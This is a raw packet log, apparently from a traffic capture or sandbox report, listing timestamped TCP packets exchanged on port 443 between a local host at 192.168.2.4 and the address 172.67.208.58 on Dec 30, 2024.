Dec 30, 2024 19:10:31.193856955 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.193861008 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.193876982 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.194597006 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.194648981 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.194653034 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.194677114 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.194705963 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.194732904 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.194762945 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.194780111 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.194785118 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.194808960 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.240463018 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.280740976 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.280808926 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.280828953 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.280864954 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.280884027 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.280888081 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.280911922 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.280945063 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.280991077 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.280994892 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.281023979 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.281074047 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.281080008 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.281361103 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.281414032 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.281418085 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.281466007 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.281472921 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.281476974 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.281502962 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.281521082 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.281524897 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.281593084 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.281593084 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.281661034 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.281697035 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.281718969 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.281723022 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.281747103 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.281757116 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.281760931 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.281795979 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.282330036 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.282367945 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.282386065 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.282390118 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.282412052 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.282418966 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.282461882 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.282465935 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.282500029 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.282506943 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.282510996 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.282537937 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.282543898 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.282593012 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.282597065 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.282917023 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.285800934 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.285860062 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.285865068 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.285875082 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.285922050 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.285926104 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.285943985 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.285979986 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.286000967 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.286005020 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.286015987 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.286020041 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.286034107 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.286051035 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.286072969 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.286078930 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.286101103 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.286159992 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.286201954 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.286211967 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.286221027 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.286254883 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.286257982 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.286262989 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.286293983 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.286304951 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.369335890 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.369369984 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.369417906 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.369425058 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.369478941 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.369503975 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.369518042 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.369571924 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.369575977 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.369754076 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.369770050 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.369803905 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.369807959 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.369834900 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.369862080 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.370034933 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.370048046 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.370096922 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.370101929 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.370116949 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.370138884 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.370296001 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.370326042 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.370357990 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.370362997 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.370398045 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.370407104 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.370683908 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.370697021 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.370771885 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.370775938 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.370822906 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.371014118 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.371054888 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.371074915 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.371079922 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.371108055 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.371134996 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.371256113 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.371268988 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.371330023 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.371335030 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.371407986 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.457858086 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.457876921 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.457931042 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.457942963 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.457961082 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.457974911 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.458162069 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.458175898 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.458228111 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.458235025 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.458436966 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.458470106 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.458498955 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.458503008 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.458524942 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.458545923 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.458851099 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.458879948 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.458910942 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.458914995 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.458931923 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.458950996 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.458966017 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.458981037 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.459014893 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.459017992 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.459049940 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.459064007 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.459222078 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.459234953 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.459289074 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.459294081 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.459817886 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.459847927 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.459866047 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.459872007 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.459899902 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.460167885 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.460185051 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.460223913 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.460230112 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.460249901 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.506036997 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.556068897 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.556082964 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.556164026 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.556202888 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.556204081 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.556216002 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.556219101 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.556226969 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.556243896 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.556253910 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.556268930 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.556274891 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.556303024 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.556354046 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.556370020 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.556411982 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.556416988 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.556432962 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.556668043 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.556693077 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.556719065 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.556723118 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.556751013 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.556840897 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.556858063 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.556895018 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.556899071 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.556907892 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.556978941 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.556991100 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.557053089 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.557056904 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.557070017 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.557076931 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.557095051 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.557122946 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.557126999 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.557156086 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.599791050 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.635073900 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.635090113 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.635148048 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.635154009 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.635183096 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.635195017 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.635385990 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.635407925 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.635446072 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.635449886 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.635477066 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.635485888 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.635556936 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.635596991 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.635617971 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.635621071 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.635651112 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.635667086 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.635831118 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.635845900 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.635885000 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.635888100 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.635912895 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.635936022 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.636152029 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.636166096 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.636220932 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.636224985 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.636394024 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.636409998 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.636452913 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.636456966 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.636482954 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.636497021 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.636960983 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.636998892 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.637025118 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.637029886 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.637058020 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.637068033 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.637147903 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.637161970 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.637216091 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.637219906 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.637233019 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.637255907 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.673652887 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.723700047 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.723716021 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.723783970 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.723793030 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.724220037 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.724232912 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.724246979 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.724291086 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.724296093 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.724319935 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.724338055 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.724663973 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.724677086 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.724715948 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.724720001 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.724750042 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.724750996 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.724786043 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.724790096 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.724797964 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.724803925 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.724831104 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.724833965 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.724854946 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.724878073 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.724920988 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.724932909 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.724975109 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.724977970 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.724997044 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.725003958 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.725008011 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.725016117 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.725029945 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.725061893 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.725068092 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.725081921 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.725105047 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.725728035 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.725744009 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.725800991 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.725805044 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.725811958 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.725861073 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.725864887 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.725892067 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.725922108 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.725941896 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.725948095 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.725976944 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.771696091 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.812516928 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.812547922 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.812608957 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.812628984 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.812644005 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.812669992 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.812693119 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.812700987 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.812710047 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.812731028 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.812736988 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.812810898 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.812830925 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.812871933 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.812875986 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.812918901 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.813184977 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.813199997 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.813249111 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.813252926 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.813324928 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.813410044 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.813425064 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.813483953 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.813488960 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.813721895 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.813735008 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:31.813739061 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:31.813765049 CET	443	49746	172.67.208.58	192.168.2.4
